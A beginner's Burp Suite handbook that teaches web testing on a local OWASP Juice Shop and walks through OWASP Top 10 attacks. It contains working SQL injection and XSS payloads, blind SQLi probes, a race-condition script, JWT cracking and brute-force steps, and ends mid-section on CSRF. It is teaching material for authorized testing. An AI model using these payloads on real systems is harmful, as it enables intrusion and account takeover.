Web App Testing with Burp Suite
A hands-on handbook for absolute beginners — taught through the OWASP Juice Shop, one HTTP request at a time.
PREFACEThe story that runs through this book
Every chapter follows two characters working through the same project, so concepts land on real situations.
You'll meet Alex and Pat at the start of every chapter. The technical content is identical to what professionals use day-to-day; the conversation just makes it stick.
How to use this handbook
Each chapter has three parts: Concept, Looking at it in Burp, and Try it yourself. If you only do the "Try it yourself" boxes, you'll still learn a lot.
What you'll be able to do at the end
- Read and write raw HTTP requests confidently.
- Configure Burp Suite, intercept and modify any request.
- Map an unknown application from scratch.
- Find and exploit examples of every OWASP Top 10 (2021) category in the Juice Shop.
- Write a clean finding write-up your team will accept.
What you'll need
- A computer (Windows, macOS, or Linux) with at least 4 GB of free RAM.
- Docker Desktop — to run the Juice Shop.
- Burp Suite Community Edition — free from PortSwigger.
- A modern browser. Firefox is the easiest to proxy.
- About 6–8 hours, broken into ~30-minute sessions.
Legal & ethical reminder
Everything in this book targets the OWASP Juice Shop running on your own laptop. Never run these techniques against any system you don't own or have explicit, written permission to test. "I was learning" is not a defense.
CH 1How the web actually works
What happens when you type a URL and press Enter?
Before we touch Burp, we need a clear mental model of what flies between your browser and a server.
juice-shop.local and a website appears. What did the browser actually do?"1.1 The client-server model
The web is built on the simplest possible idea: a client (your browser) sends a request to a server, and the server sends back a response. The internet is a billion of those conversations stacked on top of each other.
1.2 The journey of a single page load
- DNS lookup. Your computer asks "what IP address is
juice-shop.local?" and gets back something like127.0.0.1. - TCP handshake. A connection is opened to that IP on port 443 (HTTPS) or 3000 (Juice Shop default).
- TLS handshake. If HTTPS, the browser and server negotiate encryption keys.
- HTTP request. The browser sends
GET / HTTP/1.1with headers. - HTTP response. The server returns the HTML and a status like
200 OK. - Browser parses HTML. Discovers links to CSS, JS, images, API endpoints — fires off more requests for each.
- Render. The browser draws the page and runs JavaScript.
Why testers care
Every step above is a place to interfere — change the request, change the response, lie about who you are. That's all penetration testing is, fundamentally.
1.3 URLs, demystified
https://shop.juice-shop.local:3000/rest/products/5?q=apple&page=2#reviews
─── ───────────── ── ──────── ──────── ───
scheme hostname port path query fragment
| Part | Example | Why testers care |
|---|---|---|
| Scheme | https | Tells you if traffic is encrypted. http:// on a login page = instant finding. |
| Hostname | shop.juice-shop.local | What server you're hitting. |
| Port | 3000 | Default 80/443. Custom ports often expose dev or admin instances. |
| Path | /rest/products/5 | The API endpoint. Numbers in paths often mean object IDs — fertile ground for IDOR. |
| Query | ?q=apple&page=2 | Always test these for injection. |
| Fragment | #reviews | Browser-only — never sent to the server. |
Try it yourself — 5 minutes
Open any site → DevTools (F12) → Network tab → reload. Identify the scheme, host, path, and query for each request. You'll do this in Burp by Chapter 11 — except with the power to change the requests.
CH 2HTML, CSS, JavaScript in 20 minutes
The three languages every web page is built from
You don't need to write HTML/CSS/JS to test web apps — but you need to read it. About half of all bugs reveal themselves in markup the developers thought you'd never look at.
2.1 HTML — the structure
<div class="product-card" data-id="5">
<img src="/assets/public/images/products/apple.jpg" alt="Apple Juice">
<h3>Apple Juice (1000ml)</h3>
<p class="price">1.99</p>
<button onclick="addToBasket(5)">Add to Basket</button>
</div>
What jumps out:
- Tags are between angle brackets, e.g.
<p>...</p>. - Attributes are
name="value"pairs. - data-* attributes often expose internal IDs.
- Inline event handlers like
onclick="addToBasket(5)"reveal what JavaScript runs.
Tags every tester recognises on sight
| Tag | Purpose | Why a tester looks at it |
|---|---|---|
<form> | Submits data | Where injections happen |
<input> | Text/password/file fields | Test each one for bad input handling |
<a href> | Hyperlink | Endpoints to crawl, possible open-redirects |
<script> | Embedded JavaScript | Reveals client logic, secret keys, API URLs |
<iframe> | Embeds another page | Clickjacking, postMessage abuse |
<meta> | Metadata, charset, CSP | Tells you the security posture |
| HTML comments | Notes for developers | Often contain TODOs, credentials, internal URLs |
Pro tip — view source vs. inspect
Ctrl+U shows the raw HTML the server sent. F12 shows the live DOM after JavaScript ran. They're often very different — and bugs hide in the difference.
2.2 CSS — the look
CSS controls colour, layout, animation. Security-wise:
- CSS injection — under specific conditions, an attacker can use selectors to leak data.
- UI redress / clickjacking — adversaries layer transparent iframes over real buttons.
2.3 JavaScript — the behaviour
JavaScript runs in your browser and increasingly drives entire applications. Juice Shop is a single-page Angular app — almost the whole app is JavaScript.
function login(email, password) {
return fetch('/rest/user/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password })
}).then(r => r.json());
}
Three things you learned without "hacking":
- The login endpoint is
POST /rest/user/login. - The body is JSON with two fields,
emailandpassword. - The response is parsed as JSON.
Try it yourself — 10 minutes
- Open Juice Shop in your browser.
- Press F12 → Sources tab. Find
main.js. - Press Ctrl+F and search for
"/rest/". - Note every endpoint that pops up. You just did API discovery.
CH 3XML, JSON & data formats
The languages servers speak to each other
HTTP carries data, but doesn't say what shape it should take. Modern apps use JSON; older ones use XML. Both formats have classes of vulnerabilities you must recognise.
3.1 JSON
{
"id": 5,
"name": "Apple Juice (1000ml)",
"price": 1.99,
"available": true,
"tags": ["juice", "fruit", "bestseller"],
"reviews": null
}
Six data types: string, number, boolean, null, array, object. Tester-relevant points:
- Type-confusion bugs.
"id": "5"vs"id": 5sometimes bypasses checks. - Mass-assignment. Adding extra fields like
"role": "admin"to a sign-up payload may overwrite server defaults. - Unsanitised echoes. JSON values reflected into HTML without escaping = XSS.
3.2 XML
<?xml version="1.0" encoding="UTF-8"?>
<product id="5">
<name>Apple Juice (1000ml)</name>
<price currency="USD">1.99</price>
</product>
Why XML hurts
XML supports entities — references the parser expands. A malicious entity can read local files (XXE), make outbound network calls (SSRF), or DoS the parser (billion laughs). Whenever you see XML on the wire, queue these tests up.
3.3 Other formats you'll trip over
Form-urlencoded
email=alex&pw=hunter2 — original POST format.
Multipart/form-data
File uploads. Each part has its own headers and body.
YAML
Human-readable config; load-time code execution risk.
Protobuf / gRPC
Binary, schema-driven. Burp can decode with extensions.
GraphQL
JSON over POST with a query language. Look for introspection.
Base64 / JWT
Looks opaque, often isn't. We'll dissect a JWT in Ch 7.
CH 4Encoding: URL, HTML, Base64, Hex
"Encoding ≠ encryption."
Encoding is just repackaging data so it survives transit. There's no secret involved. Anyone can decode it. Mixing this up is the single most common rookie mistake.
4.1 URL encoding (percent-encoding)
| Character | URL-encoded | Notes |
|---|---|---|
| space | %20 | Or + in form bodies. |
& | %26 | Otherwise terminates the parameter. |
= | %3D | Same reason. |
' | %27 | Used inside SQL injection payloads. |
< > | %3C %3E | Used in XSS payloads. |
# Plain (won't work in a URL):
' OR '1'='1
# Single URL-encoded:
%27%20OR%20%271%27%3D%271
# Double URL-encoded (used to bypass naive filters):
%2527%2520OR%2520%25271%2527%253D%25271
4.2 HTML encoding (entities)
| Char | Named | Numeric |
|---|---|---|
< | < | < |
> | > | > |
" | " | " |
' | ' | ' |
& | & | & |
4.3 Base64
Base64 turns binary data into 64 printable characters: A-Z a-z 0-9 + /. Used in basic auth headers, JWTs, certificates. Strings ending in = or == are almost certainly Base64. It is not encryption.
# Header on the wire:
Authorization: Basic YWRtaW46c3VwZXJzZWNyZXQ=
# Decode:
$ echo 'YWRtaW46c3VwZXJzZWNyZXQ=' | base64 -d
admin:supersecret
4.4 Hex
Each byte expressed as two hex characters. You'll see \x, 0x, %, or just bare hex.
4.5 Why testers obsess over encoding
The double-decode trap
Servers often decode input twice: once at the web layer, once in the application. A payload that looks safe after the first decode may be dangerous after the second. Double URL-encoding is one of the oldest and still most effective filter bypasses.
Burp's Decoder tab handles all of these. We'll use it constantly from Ch 12 onward.
CH 5HTTP — requests, responses, methods
If you can read raw HTTP, you can test any web app
HTTP is just two text messages — a request and a response — separated by a blank line and followed by an optional body. That's it.
5.1 Anatomy of an HTTP request
GET /rest/products/5 HTTP/1.1
Host: juice-shop.local:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0)
Accept: application/json, text/plain, */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Cookie: token=eyJhbGc...; theme=dark
Three blocks: the request line, the headers, and an optional body. Separated by a single blank line.
5.2 Anatomy of an HTTP response
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 162
X-Frame-Options: SAMEORIGIN
Set-Cookie: language=en; Path=/
{"id":5,"name":"Apple Juice (1000ml)","price":1.99}
5.3 HTTP methods (verbs)
| Verb | Means | Body? | Tester focus |
|---|---|---|---|
GET | Read a resource | No | Parameters in URL — easiest place to inject. |
POST | Create / submit data | Yes | Logins, forms, file uploads. |
PUT | Replace a resource | Yes | Mass-assignment, IDOR. |
PATCH | Partial update | Yes | Field-by-field tampering. |
DELETE | Remove a resource | Optional | Authorization checks per-object. |
OPTIONS | What can I do here? | No | Reveals allowed methods + CORS rules. |
HEAD | Headers only | No | Sometimes bypasses auth on misconfigured servers. |
Method override trick
Some apps accept X-HTTP-Method-Override: PUT in a POST request. If a WAF only blocks DELETEs, this can sneak right past it.
CH 6Status codes & headers you must know
The five families and the seven security headers
6.1 The five status code families
1xx Informational
Rare. 100 Continue, 101 Switching Protocols.
2xx Success
200 OK, 201 Created, 204 No Content.
3xx Redirection
301, 302, 304 Not Modified.
4xx Client error
400, 401, 403, 404, 429.
5xx Server error
Server choked. Often signals an unhandled exception.
6.2 Codes you'll see every five minutes
| Code | Name | Practical meaning |
|---|---|---|
| 200 | OK | Worked. Doesn't mean what you sent was safe — apps often return 200 for failed logins. |
| 201 | Created | POST/PUT created a new resource. |
| 301 / 302 | Redirect | Possible open-redirect bug if target is user-controlled. |
| 400 | Bad Request | Malformed input. Often means your fuzz attempt broke a parser. |
| 401 | Unauthorized | "You need to authenticate." |
| 403 | Forbidden | "You're authenticated, but you can't do this." |
| 404 | Not Found | Or "we don't want to admit it exists." |
| 405 | Method Not Allowed | Look at the Allow header. |
| 500 | Internal Server Error | Goldmine — exception leaked. |
| 502 / 504 | Bad Gateway / Timeout | SSRF and DoS smell. |
6.3 Security request headers
Host | Test for host-header injection. |
Cookie | The single most-attacked header. |
Authorization | Basic / Bearer tokens. |
X-Forwarded-For | "Trust me, the real client IP is X." Many apps blindly believe it. |
Origin / Referer | CORS & CSRF rely on them. |
Content-Type | Switching this sometimes flips the parser. |
6.4 Security response headers
| Header | Effect | Looks like |
|---|---|---|
Strict-Transport-Security | Forces HTTPS | max-age=31536000 |
Content-Security-Policy | Limits scripts/images | default-src 'self' |
X-Content-Type-Options | Stops MIME-sniffing | nosniff |
X-Frame-Options | Blocks framing | DENY |
Referrer-Policy | Limits Referer leakage | strict-origin |
Set-Cookie | Sets cookie + flags | token=...; HttpOnly; Secure |
Methodology checkpoint
For every target, your first pass should record what these headers look like on the home page and on a logged-in page. Missing or weak values become easy "low" findings.
CH 7Cookies, sessions & tokens
How does the server know it's still you?
HTTP is stateless. To remember "this is the user who logged in two minutes ago," servers issue a cookie or token that the browser sends back on every request. Stealing or forging those is half of all web bugs.
7.1 Cookies — the original mechanism
- You log in. Server:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax. - Browser stores cookie keyed by domain.
- Every subsequent request includes
Cookie: session=abc123. - Server looks up
abc123and reconstitutes "you".
Cookie flags every tester checks
| Flag | Effect | Missing = ? |
|---|---|---|
HttpOnly | JS can't read this cookie | XSS can steal it |
Secure | Only sent over HTTPS | Network sniffing on HTTP |
SameSite=Lax/Strict | Limits cross-site sending | CSRF risk |
Domain / Path | Where the cookie is sent | Overly broad scope leaks tokens |
Expires / Max-Age | Lifetime | Session never ends |
7.2 Session IDs vs. tokens
- Server-side session. Cookie holds an opaque ID; state is on the server. Easy to revoke.
- Stateless tokens (JWT). Cookie/
Authorization: Bearerholds a self-contained, signed token. Harder to revoke.
7.3 JWTs — the token format you'll meet daily
A JWT is three Base64URL-encoded parts joined by dots:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInJvbGUiOiJhZG1pbiJ9LCJpYXQiOjE3MTAwMDAwMDB9
.SflKxwRJSMeKKF2QT4f...
// Header
{ "alg": "RS256", "typ": "JWT" }
// Payload (claims)
{
"status": "success",
"data": { "id": 1, "email": "admin@juice-sh.op", "role": "admin" },
"iat": 1710000000
}
JWT pitfalls testers exploit
"alg": "none"— some libraries accept unsigned tokens.- Algorithm confusion (HS256 vs RS256).
- Weak HMAC secrets — crackable with hashcat.
- Tampering with claims and resigning.
- Missing
expclaim — token never expires.
CH 8Forward proxy, reverse proxy & the network
Where Burp sits, and why it can see everything
8.1 Forward proxy (what Burp is)
A forward proxy sits between your client and the wider internet. The client knows about it.
8.2 Reverse proxy (what production servers use)
A reverse proxy sits in front of one or more web servers and pretends to be them. Nginx, AWS ALB, Cloudflare — all reverse proxies.
8.3 Why this matters for testing
- Forward proxy = your tool. Burp intercepts and modifies your own traffic.
- Reverse proxy = the target's defense. A WAF in front of the app may sanitise requests, rewrite headers.
- Both layers can combine: browser → Burp → corporate proxy → CDN → WAF → reverse proxy → app servers.
8.4 Networking glossary
| DNS | Maps names to IPs. |
| TCP | Reliable byte stream. HTTP rides on top. |
| TLS / HTTPS | Encryption + identity. Burp generates fake certs per host. |
| Load balancer | Reverse proxy that spreads traffic across servers. |
| WAF | Web Application Firewall — pattern-matches requests. Defeated by encoding tricks. |
| CDN | Edge cache. Caching mistakes can leak private data publicly. |
CH 9CORS, same-origin policy & CSP
"Why can't my JavaScript read that other site?"
9.1 Origin
An origin is the triple (scheme, host, port). These are different origins:
https://shop.juice-shop.localvshttp://shop.juice-shop.local(scheme)https://shop.juice-shop.localvshttps://api.juice-shop.local(host)https://shop.juice-shop.localvshttps://shop.juice-shop.local:8443(port)
9.2 Same-Origin Policy (SOP)
JavaScript on origin A cannot read responses from origin B. It can send requests (CSRF), but the response is hidden. This is the bedrock that protects banking tabs from advertising tabs.
9.3 CORS — the controlled relaxation
# Preflight from browser
OPTIONS /api/profile HTTP/1.1
Origin: https://evil.example
Access-Control-Request-Method: GET
# Server response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://trusted.example
Access-Control-Allow-Credentials: true
Misconfigurations to look for
Access-Control-Allow-Origin: *with credentials — credentials dropped, but data leaks if sensitive.- Server reflects the
Originheader without validation. Any origin works. - Wildcard subdomains (
*.example.com) — find one subdomain takeover and you've won.
9.4 Content Security Policy (CSP)
Content-Security-Policy: default-src 'self';
script-src 'self' https://cdn.juice-shop.local;
img-src 'self' data: https:;
object-src 'none';
frame-ancestors 'none';
report-uri /csp-report
Grep for these tester red flags:
'unsafe-inline'inscript-src— game over for CSP.'unsafe-eval'— almost as bad.- Wildcard hosts (
https:,*). - No
frame-ancestors— possible clickjacking.
CH 10Building your lab — Juice Shop + Burp
Two installs and you're testing
10.1 Install Docker
- Windows / macOS: install Docker Desktop from
docker.com. - Linux:
sudo apt install docker.io, then add yourself to thedockergroup.
$ docker --version
Docker version 26.1.0
$ docker run --rm hello-world
Hello from Docker!
10.2 Run the OWASP Juice Shop
docker run -d --rm --name juice -p 3000:3000 bkimminich/juice-shop
Open http://localhost:3000. You'll see a colourful single-page-app store. Click around — buy a juice, leave a review, log in/out — to feel like a normal user. Testers attack apps they understand from a user's perspective first.
Stop / restart
docker stop juice stops it; rerunning the same command spins it back up. State resets each time — exactly what you want while learning.
10.3 Install Burp Suite Community
- Go to
portswigger.net/burp→ Burp Suite Community → download the installer. - Install with defaults.
- Launch Burp. Choose Temporary project → Use Burp defaults.
10.4 Configure Firefox to use Burp as proxy
- In Burp: Proxy → Proxy settings → confirm a listener on
127.0.0.1:8080. - Firefox: Settings → search "proxy" → Network Settings → Manual proxy configuration.
- Set HTTP Proxy
127.0.0.1port8080; tick "Also use this proxy for HTTPS". - Save.
10.5 Trust Burp's TLS certificate
- With Firefox using the proxy, browse to
http://burp. - Click CA Certificate top-right — downloads
cacert.der. - Firefox: Settings → Privacy & Security → View Certificates → Authorities → Import → tick "Trust this CA to identify websites".
Don't install Burp's CA system-wide.
Anyone with that CA's private key can MITM your traffic. Use a dedicated Firefox profile for testing, or remove the cert when done.
10.6 Smoke test
Browse http://localhost:3000 with Firefox + Burp running. In Burp open Proxy → HTTP history. You should see dozens of requests scrolling by. If you do — your lab is alive.
CH 11Your first intercept
From "I see traffic" to "I changed traffic"
11.1 Turn intercept on
- Burp: Proxy → Intercept tab. Click "Intercept is off" so it becomes "Intercept is on".
- Firefox: navigate to
http://localhost:3000/#/login. - Type
admin@juice-sh.op/admin123. - Click Log in.
Burp pops up holding the request mid-flight:
POST /rest/user/login HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 Content-Type: application/json Origin: http://localhost:3000 Content-Length: 56 {"email":"admin@juice-sh.op","password":"admin123"}
11.2 Modify the request
Click in the body, change the password to wrongpass, click Forward:
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{"error":"Invalid email or password."}
Now intercept again, change the password to a SQL-injection probe like ' OR 1=1-- and forward. The response shape changes entirely. You just discovered an auth bypass on day one.
11.3 The four buttons you'll wear out
| Forward | Send the (possibly modified) request. |
| Drop | Throw the request away. |
| Intercept on/off | Toggle catching every request. |
| Open Browser | Burp's bundled Chromium with proxy & cert pre-trusted. |
Workflow tip
Most of the time keep Intercept off and rely on HTTP history. Toggle on only when you need to alter a specific request. Otherwise you'll be clicking Forward on every favicon for an hour.
CH 12Burp's tools, one by one
Eight tools, one workflow
You'll spend 80% of your time in three: Proxy, Repeater, Intruder. The rest are special-purpose.
12.1 Target
Site map shows every host/path Burp has seen. Scope defines what's "in bounds" — set it early so unrelated noise (CDNs, analytics) is filtered out.
Target → Scope → Add → http://localhost:3000/.*
12.2 Proxy
Already covered in Ch 11. HTTP history is your main investigation surface — sortable, filterable, searchable.
12.3 Repeater — the workbench
Right-click any request → Send to Repeater. Tweak and resend a single request as many times as you like, watching the response change. Most "manual testing" happens here.
GET /rest/products/search?q=apple HTTP/1.1 Host: localhost:3000
HTTP/1.1 200 OK Content-Type: application/json {"status":"success","data":[ ... ]}
12.4 Intruder — the fuzzer
Same idea as Repeater but for many variations. Mark insertion points (§), supply payload list, blast through them. Four attack types:
- Sniper — one insertion point, classic fuzzing.
- Battering ram — same payload in every position.
- Pitchfork — multiple positions, parallel lists (e.g. user/pass pairs).
- Cluster bomb — multiple positions, every combination.
12.5 Decoder — encoding swiss-army knife
Paste any string, click Decode as ▾, pick URL/HTML/Base64/Hex/Gzip. Chain operations.
12.6 Comparer — diff two responses
Send two responses (e.g. authenticated vs unauthenticated) → Words or Bytes. Highlights every difference — invaluable for IDOR and access-control bugs.
12.7 Sequencer — randomness analysis
Aim it at a session ID/token. Burp captures thousands and tells you how unpredictable they are. Predictable IDs = session prediction attack.
12.8 Logger
An always-on view of every request from every Burp tool. Great for triage.
12.9 Extensions / BApp Store
Essential extensions for beginners:
- Logger++ — better request log.
- Autorize — automatic access-control testing.
- JWT Editor — view/forge JWTs in-place.
- Hackvertor — chained encoding tags inside payloads.
- Param Miner — discovers hidden parameters and headers.
- Active Scan++ — extra scanner checks.
Community vs Pro
Community gives you everything in this book except (a) automated Scanner and (b) full-speed Intruder. For learning OWASP Top 10 manually, Community is enough.
CH 13A repeatable testing methodology
Why · What · When · How
Every chapter from 14 onward uses the same four-question loop. Internalise it now and every new app becomes "just another instance of the same problem."
13.1 The five phases
13.2 The four questions for every test
| Question | What you're answering |
|---|---|
| Why? | Why might this vulnerability exist here? What assumption could a developer have made? |
| What? | What input am I going to manipulate? What response do I expect to change? |
| When? | At what point in the workflow does this matter — login, checkout, password reset? |
| How? | How will I prove it, in one or two requests, with a screenshot a non-tester can understand? |
13.3 Reconnaissance checklist
- What domain(s) are in scope? Any subdomains?
- What technologies (server, framework, JS libraries)? Use Wappalyzer.
- What endpoints does the front-end JS reference? Search
/rest/,/api/,fetch(. - Are there
robots.txt,sitemap.xml,.git/,.env? - What does the security baseline look like (headers, CSP, cookies)?
13.4 Mapping with Burp
- Set scope to
http://localhost:3000. - Browse the entire app once as a guest. Burp records every URL.
- Log in as a normal user. Browse again — every page.
- Log in as an admin. Browse again.
- Right-click the host in Site map → Engagement tools → Analyze target for a parameter list.
13.5 Note-taking
You will forget what you tried by tomorrow. Keep a markdown file with one section per finding:
# A03 - Injection - SQLi at /rest/user/login
## Why
Login uses email + password concatenated into SQL string.
## Where
POST /rest/user/login JSON body { email, password }
## Repro
1. Log in with email = " ' OR 1=1--" and any password.
2. Receive a token for user id=1 (admin).
## Evidence
- Burp Repeater request screenshot: req-001.png
- Decoded JWT: jwt-001.txt
## Impact
Authentication bypass. Full admin compromise.
## Fix
Use parameterised queries (Sequelize ORM) — never string concat.
CH 14A01 — Broken Access Control
"Just because the UI hides a button doesn't mean the API does"
Most access-control bugs come from the back-end trusting that the front-end will only call certain endpoints with the right user. Burp lets you call any endpoint, with any user.
14.1 Concept
Access control = enforcing who can do what. Two flavours:
- Vertical (privilege escalation) — a regular user accessing admin functionality.
- Horizontal (IDOR) — user A accessing user B's data.
14.2 IDOR walkthrough — view someone else's basket
- Register two users in Juice Shop:
alex@test.comandbob@test.com. - Log in as Alex. Add an item to the basket. Note the
BasketIdin HTTP history (e.g.5). - In Repeater, send
GET /rest/basket/5with Alex's JWT — works. - Now log in as Bob and observe Bob's basket id (e.g.
6). With Alex's JWT, sendGET /rest/basket/6. - If you can read Bob's basket — that's an IDOR.
GET /rest/basket/6 HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGciOiJSUzI1NiI... # Alex's token
14.3 Vertical privilege escalation — the admin endpoint
Front-end JS reveals an admin route: /#/administration. As a non-admin you get redirected. But the API backing it lives at /api/Users. Try it as a normal user:
GET /api/Users HTTP/1.1
Host: localhost:3000
Authorization: Bearer <regular-user-token>
If it returns the user list, the back-end never checked the role claim.
14.4 Force-browse for hidden paths
Use the Param Miner extension or Intruder with a wordlist (/usr/share/seclists/Discovery/Web-Content/common.txt) on /§FUZZ§. Look for unexpected 200/302 responses.
14.5 Methodology — the four questions
| Why? | Front-end developers often assume hidden = secure. |
| What? | Object IDs in URLs, role/permission claims in JWTs, admin-only routes. |
| When? | Every endpoint, every user role. |
| How? | Repeater + token swapping; Autorize plugin for automation. |
Try this in Juice Shop
Challenge: "Access the administration section of the store." Hint: try the URL fragment /#/administration as different users; then attack the underlying /api/Users endpoint.
CH 15A02 — Cryptographic Failures
Bad crypto, weak hashes, hard-coded keys
This category covers everything from "data sent in cleartext" to "homemade encryption schemes." You'll find them with a mix of network observation, response inspection, and source code review.
15.1 Concept
Three classic patterns:
- Weak transport — HTTP not HTTPS, or HTTPS with old TLS / weak ciphers.
- Weak storage — passwords stored as MD5, secrets hard-coded in JS bundles.
- Weak randomness — predictable session IDs, password-reset tokens.
15.2 Hunting hard-coded secrets in the JS bundle
# In Burp Repeater, fetch the bundle:
GET /main.js HTTP/1.1
# Then grep responses for high-entropy strings:
grep -E "[A-Za-z0-9+/]{32,}={0,2}" main.js
grep -iE "secret|api[_-]?key|token|aws_" main.js
15.3 Inspect Set-Cookie / Authorization for bad crypto signs
- Cookie value looks like a Base64'd 8-character string? Probably an auto-incrementing ID.
- JWT
algisHS256? Try cracking the secret offline (hashcat mode 16500). - Reset tokens are short, sequential numbers? Predictable.
15.4 Looking at TLS
Use testssl.sh or nmap --script ssl-enum-ciphers -p 443 to enumerate supported protocols/ciphers. Anything below TLS 1.2 = finding.
15.5 Juice Shop challenge
Try this
"Find the hidden DBA password." Hint: explore /ftp directory listing — Juice Shop intentionally exposes files including a package.json.bak and acquisitions.md. The incident-support.kdbx KeePass database is in there too — open it with the password you find.
CH 16A03 — Injection (SQLi & XSS)
The category that gets the headlines
Injection happens whenever untrusted input ends up in an interpreter — SQL, OS shell, LDAP, XPath, NoSQL, the browser DOM. Two big sub-types: SQLi and XSS.
16.1 SQL Injection — concept
Server-side code concatenates user input into a SQL string. Attacker injects extra SQL.
const q = "SELECT * FROM Users WHERE email='" + email + "' AND password='" + hash + "'";
Send email = ' OR 1=1-- and the query becomes:
SELECT * FROM Users WHERE email='' OR 1=1--' AND password='...'
The -- comments out the rest. Returns the first row — which is admin.
16.2 SQLi Burp walkthrough
- Capture a POST
/rest/user/loginin Burp; send to Repeater. - In the JSON body, change email to
"' OR 1=1--". - Forward. Response:
200 OKwith a JWT — but it's the admin token. - Decode the JWT in Burp Decoder. Confirm
"role":"admin".
POST /rest/user/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{"email":"' OR 1=1--","password":"x"}
16.3 Blind SQLi
If no data comes back, use boolean / time-based payloads:
' AND 1=1-- ← page renders normally
' AND 1=2-- ← page differs (boolean blind)
' AND SLEEP(5)-- ← response delayed (time-based)
16.4 XSS — concept
Untrusted input ends up in HTML / JS without escaping. Three flavours:
- Reflected — payload bounces back in the immediate response.
- Stored — payload saved server-side (review, profile name) and rendered to other users.
- DOM-based — JavaScript itself takes input from
location.hash,document.referrer, etc., and writes it to the DOM unsafely.
16.5 XSS Burp walkthrough — DOM XSS in the search bar
- In Juice Shop's search bar enter:
<iframe src="javascript:alert('xss')"> - Burp captures the resulting GET
/rest/products/search?q=.... - Browser renders the search query into a header element via Angular's
[innerHTML](the bug). The iframe runs the alert.
16.6 Common XSS payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script>alert(1)</script>
javascript:alert(1) ← in href / src
{{constructor.constructor('alert(1)')()}} ← Angular template
16.7 Methodology — four questions
| Why? | Developer treated input as data, server/browser treated it as code. |
| What? | Every parameter, header, body field, file upload, JSON key/value. |
| When? | On reflection (look at response), on storage (revisit page later), in DOM (check sources). |
| How? | Repeater for SQLi probing; Intruder for fuzzing; Burp Collaborator for blind SSRF/XSS. |
CH 17A04 — Insecure Design
"The bug isn't a typo — the whole feature is wrong"
17.1 Concept
This category covers flaws baked in at design time, not implementation. No amount of input validation fixes a feature that shouldn't exist.
Examples:
- Coupon codes accept negative discount amounts.
- "Forgot password" lets you set a new password without verifying ownership of the email.
- Two-factor login that can be skipped by deleting a parameter.
- Race conditions in checkout / refunds.
17.2 Negative-quantity walkthrough
- In Juice Shop, add an apple juice to your basket.
- In Burp, capture the
PUT /api/BasketItems/{id}request. - Change
"quantity": 1to"quantity": -10. - Forward. The total now shows a negative number — when you check out, you're refunded.
17.3 Race condition walkthrough
Many "use coupon once" features check then mutate without locking. Send 100 parallel requests and a few succeed. Use Burp Repeater "Send group in parallel" (Pro) or the Turbo Intruder extension.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10, requestsPerConnection=100)
for i in range(50):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
17.4 Methodology
Insecure-design bugs are found by thinking like an evil user, not by fuzzing. Walk every business flow and ask: "What if I do this step out of order? Twice? With a negative number? After logging out?"
CH 18A05 — Security Misconfiguration
Default credentials, debug endpoints, verbose errors
18.1 Things to grep for
- Debug routes:
/debug,/_status,/actuator/*,/.env,/swagger,/graphql. - Verbose errors: stack traces in 500 responses leak file paths, framework versions, SQL queries.
- Default creds:
admin/admin,guest/guest, vendor docs. - Cloud metadata:
http://169.254.169.254/latest/meta-data/(AWS) reachable through SSRF. - Exposed dirs:
/.git/,/backup/,/uploads/. - Missing security headers (Ch 6).
18.2 Juice Shop walkthroughs
Try these
- Browse to
/ftp/— directory listing should not be enabled. - Browse to
/metrics— Prometheus stats publicly exposed. - Trigger a stack trace by sending malformed JSON to
/rest/user/login: body{"email"}.
18.3 Burp's role
Use Intruder with a wordlist of common admin paths against the host root. Filter responses by length to spot the unique ones.
CH 19A06 — Vulnerable & Outdated Components
"You're as secure as your weakest dependency"
19.1 Concept
A modern web app uses dozens of frameworks, libraries, and base images. If any of them has a public CVE, your app might too.
19.2 How to find them
- Identify components. Check response headers (
Server,X-Powered-By), HTML<meta generator>, JS bundle banners, error messages. - Match against CVE databases. Search NVD, GitHub Security Advisories.
- Probe the suspected version. Test the public PoC.
19.3 Juice Shop walkthrough — vulnerable lodash
The Juice Shop bundles a known-vulnerable copy of an old library. In Burp, browse the main.js bundle and search for library banners (e.g. Lodash 4.17.4). Look up CVE-2019-10744 (prototype-pollution). Reproduce by sending crafted input to endpoints that merge user JSON deeply.
CH 20A07 — Identification & Auth Failures
Brute force, broken MFA, predictable resets
20.1 Patterns to test
- No account lockout — Intruder with a password list.
- Username enumeration via different error messages or response timings.
- Password reset uses email + 6-digit OTP without rate limiting.
- "Remember me" cookies tied to predictable values.
- 2FA can be skipped by removing the
otpfield.
20.2 Burp Intruder credential brute
- Capture POST
/rest/user/login, send to Intruder. - Mark the password field with
§. Attack type: Sniper. - Payload: a small list (
password, 12345, admin, qwerty). - Start attack. Sort by Length / Status. Different size = potential hit.
20.3 JWT walkthrough — secret-key cracking
Capture a Juice Shop JWT. Save the token to tok.jwt. Use hashcat:
hashcat -a 0 -m 16500 tok.jwt rockyou.txt
If the secret was weak, hashcat finds it. Then forge a new token with "role":"admin" using the JWT Editor extension.
CH 21A08 — Software & Data Integrity Failures
Unsafe deserialization, supply-chain, missing signature checks
21.1 Concept
Code or data is loaded without verifying it hasn't been tampered with. Two big subtypes:
- Insecure deserialization. Server takes a serialized object (Java, .NET, PHP, Python pickle) from the user and reconstructs it — running embedded code.
- Software supply-chain. CI/CD pulls dependencies / containers without verifying signatures.
21.2 Juice Shop walkthrough — Node.js deserialization
Some endpoints accept a serialized payload. Use node-serialize CVE PoC: send _$$ND_FUNC$$_function(){...}() embedded in JSON.
21.3 CSRF — also lives here
Cross-Site Request Forgery: an attacker site causes the victim's browser to make a state-changing request to a target it's logged into. Defenses: SameSite cookies, CSRF tokens, custom headers + CORS preflight.
Repro in Burp:
